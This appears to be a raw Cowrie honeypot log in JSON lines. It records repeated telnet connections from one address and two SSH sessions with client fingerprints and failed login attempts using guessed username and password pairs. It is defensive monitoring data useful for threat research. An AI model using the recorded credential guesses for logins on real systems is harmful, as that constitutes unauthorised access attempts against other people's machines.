{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58709,"dst_ip":"159.203.135.109","dst_port":23,"session":"49cc0c71d0ed","protocol":"telnet","message":"New connection: 174.142.104.49:58709 (159.203.135.109:23) [session: 49cc0c71d0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:26.927494Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57276,"dst_ip":"159.203.135.109","dst_port":23,"session":"3405e95c8461","protocol":"telnet","message":"New connection: 174.142.104.49:57276 (159.203.135.109:23) [session: 3405e95c8461]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:26.990507Z"}
{"eventid":"cowrie.session.closed","duration":31.582995653152466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:27.036383Z","src_ip":"174.142.104.49","session":"6c2f50a952f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54750,"dst_ip":"159.203.135.109","dst_port":23,"session":"1558d03963ee","protocol":"telnet","message":"New connection: 174.142.104.49:54750 (159.203.135.109:23) [session: 1558d03963ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:27.565825Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59882,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4cfa97206c2","protocol":"telnet","message":"New connection: 174.142.104.49:59882 (159.203.135.109:23) [session: f4cfa97206c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:27.624242Z"}
{"eventid":"cowrie.session.closed","duration":31.016465425491333,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:27.938516Z","src_ip":"174.142.104.49","session":"d3254274060f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.792084217071533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:28.280459Z","src_ip":"174.142.104.49","session":"cec7481ed5c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56454,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed0ea9edc4da","protocol":"telnet","message":"New connection: 174.142.104.49:56454 (159.203.135.109:23) [session: ed0ea9edc4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:28.481447Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33042,"dst_ip":"159.203.135.109","dst_port":23,"session":"066923bf813b","protocol":"telnet","message":"New connection: 174.142.104.49:33042 (159.203.135.109:23) [session: 066923bf813b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:28.575879Z"}
{"eventid":"cowrie.session.closed","duration":31.277896404266357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:28.907084Z","src_ip":"174.142.104.49","session":"aaddadf76aff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51028,"dst_ip":"159.203.135.109","dst_port":23,"session":"26df199a847c","protocol":"telnet","message":"New connection: 174.142.104.49:51028 (159.203.135.109:23) [session: 26df199a847c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:29.162138Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32832,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed588b41ed39","protocol":"telnet","message":"New connection: 174.142.104.49:32832 (159.203.135.109:23) [session: ed588b41ed39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:29.376432Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34670,"dst_ip":"159.203.135.109","dst_port":23,"session":"bff84335c9d8","protocol":"telnet","message":"New connection: 174.142.104.49:34670 (159.203.135.109:23) [session: bff84335c9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:29.485895Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":42400,"dst_ip":"159.203.135.109","dst_port":23,"session":"f72fee8b112c","protocol":"telnet","message":"New connection: 161.132.53.68:42400 (159.203.135.109:23) [session: f72fee8b112c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:29.660856Z"}
{"eventid":"cowrie.session.closed","duration":30.785138845443726,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:29.681878Z","src_ip":"174.142.104.49","session":"fa27ccfc53d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00197315216064,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:29.842953Z","src_ip":"174.142.104.49","session":"70d3fc660c13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05130624771118,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:29.859947Z","src_ip":"174.142.104.49","session":"58f1e4ef532b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59144,"dst_ip":"159.203.135.109","dst_port":23,"session":"3af90d77192c","protocol":"telnet","message":"New connection: 174.142.104.49:59144 (159.203.135.109:23) [session: 3af90d77192c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:30.139852Z"}
{"eventid":"cowrie.session.closed","duration":83.83663558959961,"message":"Connection lost after 83 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:30.237601Z","src_ip":"174.142.104.49","session":"f204adc8416d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36490,"dst_ip":"159.203.135.109","dst_port":23,"session":"63d843bcf0ff","protocol":"telnet","message":"New connection: 174.142.104.49:36490 (159.203.135.109:23) [session: 63d843bcf0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:30.523706Z"}
{"eventid":"cowrie.session.closed","duration":30.720338582992554,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:30.577842Z","src_ip":"161.132.53.68","session":"15381f708be9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60010,"dst_ip":"159.203.135.109","dst_port":23,"session":"99dc0711d849","protocol":"telnet","message":"New connection: 174.142.104.49:60010 (159.203.135.109:23) [session: 99dc0711d849]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:30.762463Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":35407,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb789192bc6d","protocol":"telnet","message":"New connection: 174.142.104.49:35407 (159.203.135.109:23) [session: cb789192bc6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:30.931626Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37376,"dst_ip":"159.203.135.109","dst_port":23,"session":"369c1a97a9c2","protocol":"telnet","message":"New connection: 174.142.104.49:37376 (159.203.135.109:23) [session: 369c1a97a9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:31.102898Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37682,"dst_ip":"159.203.135.109","dst_port":23,"session":"a042a529d862","protocol":"telnet","message":"New connection: 174.142.104.49:37682 (159.203.135.109:23) [session: a042a529d862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:31.303932Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":32890,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6d2f07fa9b9","protocol":"telnet","message":"New connection: 174.142.104.49:32890 (159.203.135.109:23) [session: d6d2f07fa9b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:31.449289Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41850,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a20022464ce","protocol":"telnet","message":"New connection: 174.142.104.49:41850 (159.203.135.109:23) [session: 0a20022464ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:31.466176Z"}
{"eventid":"cowrie.session.closed","duration":33.756657123565674,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:31.831141Z","src_ip":"161.132.53.68","session":"3d26409e90e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.105.172.184","src_port":35464,"dst_ip":"159.203.135.109","dst_port":22,"session":"12a737101cf2","protocol":"ssh","message":"New connection: 200.105.172.184:35464 (159.203.135.109:22) [session: 12a737101cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:32.010167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:32.015532Z","src_ip":"200.105.172.184","session":"12a737101cf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:32.136105Z","src_ip":"200.105.172.184","session":"12a737101cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37410,"dst_ip":"159.203.135.109","dst_port":23,"session":"bba716297362","protocol":"telnet","message":"New connection: 174.142.104.49:37410 (159.203.135.109:23) [session: bba716297362]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:32.144873Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37598,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8462282492","protocol":"telnet","message":"New connection: 174.142.104.49:37598 (159.203.135.109:23) [session: ab8462282492]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:32.245623Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":34702,"dst_ip":"159.203.135.109","dst_port":23,"session":"269d3bc87eae","protocol":"telnet","message":"New connection: 174.142.104.49:34702 (159.203.135.109:23) [session: 269d3bc87eae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:32.494173Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40076,"dst_ip":"159.203.135.109","dst_port":23,"session":"15977b747e7b","protocol":"telnet","message":"New connection: 174.142.104.49:40076 (159.203.135.109:23) [session: 15977b747e7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:32.608262Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"myway@123","message":"login attempt [root/myway@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:32.642970Z","src_ip":"200.105.172.184","session":"12a737101cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40924,"dst_ip":"159.203.135.109","dst_port":23,"session":"99f37d80b915","protocol":"telnet","message":"New connection: 174.142.104.49:40924 (159.203.135.109:23) [session: 99f37d80b915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:33.043010Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41164,"dst_ip":"159.203.135.109","dst_port":23,"session":"73fb11fdf178","protocol":"telnet","message":"New connection: 174.142.104.49:41164 (159.203.135.109:23) [session: 73fb11fdf178]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:33.176005Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":36433,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bfe7860a1c3","protocol":"telnet","message":"New connection: 174.142.104.49:36433 (159.203.135.109:23) [session: 5bfe7860a1c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:33.545582Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41934,"dst_ip":"159.203.135.109","dst_port":23,"session":"359ae9a23495","protocol":"telnet","message":"New connection: 174.142.104.49:41934 (159.203.135.109:23) [session: 359ae9a23495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:33.704967Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:33.771911Z","src_ip":"200.105.172.184","session":"12a737101cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37055,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcd5ccd376b4","protocol":"telnet","message":"New connection: 174.142.104.49:37055 (159.203.135.109:23) [session: dcd5ccd376b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:33.882375Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":37230,"dst_ip":"159.203.135.109","dst_port":23,"session":"f42dd67d40c4","protocol":"telnet","message":"New connection: 174.142.104.49:37230 (159.203.135.109:23) [session: f42dd67d40c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:34.021124Z"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":39608,"dst_ip":"10.17.0.5","dst_port":22,"session":"a50d684c8da6","protocol":"ssh","message":"New connection: 88.205.172.170:39608 (10.17.0.5:22) [session: a50d684c8da6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:34.038662Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:34.044053Z","src_ip":"88.205.172.170","session":"a50d684c8da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.308486461639404,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:34.176012Z","src_ip":"174.142.104.49","session":"277392a425e5","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:34.372478Z","src_ip":"88.205.172.170","session":"a50d684c8da6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.965728044509888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:34.440857Z","src_ip":"174.142.104.49","session":"fc742e6ca2b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.275388717651367,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:34.561267Z","src_ip":"174.142.104.49","session":"7925c1490468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43402,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9bb1ac2b394","protocol":"telnet","message":"New connection: 174.142.104.49:43402 (159.203.135.109:23) [session: f9bb1ac2b394]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:34.573559Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ServerAdmin","message":"login attempt [ubuntu/ServerAdmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:35.075897Z","src_ip":"88.205.172.170","session":"a50d684c8da6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45364,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e28a9cc57a4","protocol":"telnet","message":"New connection: 174.142.104.49:45364 (159.203.135.109:23) [session: 8e28a9cc57a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:35.686653Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":40872,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1451bfd2773","protocol":"telnet","message":"New connection: 174.142.104.49:40872 (159.203.135.109:23) [session: b1451bfd2773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:36.004385Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:36.249131Z","src_ip":"88.205.172.170","session":"a50d684c8da6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43028,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fc49b62f88d","protocol":"telnet","message":"New connection: 174.142.104.49:43028 (159.203.135.109:23) [session: 2fc49b62f88d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:36.299492Z"}
{"eventid":"cowrie.session.closed","duration":30.973763704299927,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:36.342954Z","src_ip":"174.142.104.49","session":"a1f4643926c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.431962490081787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:36.371862Z","src_ip":"174.142.104.49","session":"3d16c80f1402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536924362182617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:36.658621Z","src_ip":"174.142.104.49","session":"509078b9f683","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41958,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa5a3b0182ef","protocol":"telnet","message":"New connection: 174.142.104.49:41958 (159.203.135.109:23) [session: aa5a3b0182ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:36.777391Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46808,"dst_ip":"159.203.135.109","dst_port":23,"session":"cadde775a4b5","protocol":"telnet","message":"New connection: 174.142.104.49:46808 (159.203.135.109:23) [session: cadde775a4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:36.842420Z"}
{"eventid":"cowrie.session.closed","duration":31.40545129776001,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:37.069707Z","src_ip":"174.142.104.49","session":"7a4ebce65566","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50978,"dst_ip":"159.203.135.109","dst_port":23,"session":"30b76b284830","protocol":"telnet","message":"New connection: 174.142.104.49:50978 (159.203.135.109:23) [session: 30b76b284830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:37.353863Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48544,"dst_ip":"159.203.135.109","dst_port":23,"session":"4834575c466c","protocol":"telnet","message":"New connection: 174.142.104.49:48544 (159.203.135.109:23) [session: 4834575c466c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:37.598249Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48808,"dst_ip":"159.203.135.109","dst_port":23,"session":"149a56904001","protocol":"telnet","message":"New connection: 174.142.104.49:48808 (159.203.135.109:23) [session: 149a56904001]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:37.784044Z"}
{"eventid":"cowrie.session.closed","duration":30.929184436798096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:37.919901Z","src_ip":"174.142.104.49","session":"b7a2ac2f0add","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49308,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7d077e8a91d","protocol":"telnet","message":"New connection: 174.142.104.49:49308 (159.203.135.109:23) [session: d7d077e8a91d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:38.134274Z"}
{"eventid":"cowrie.session.closed","duration":31.0505633354187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:38.145013Z","src_ip":"174.142.104.49","session":"80286a77be1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47110,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0ddb707c517","protocol":"telnet","message":"New connection: 174.142.104.49:47110 (159.203.135.109:23) [session: d0ddb707c517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:38.825694Z"}
{"eventid":"cowrie.session.closed","duration":98.37422323226929,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:38.840572Z","src_ip":"174.142.104.49","session":"6957a8ca80ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50550,"dst_ip":"159.203.135.109","dst_port":23,"session":"72538fc16e5f","protocol":"telnet","message":"New connection: 174.142.104.49:50550 (159.203.135.109:23) [session: 72538fc16e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:45:38.854973Z"}
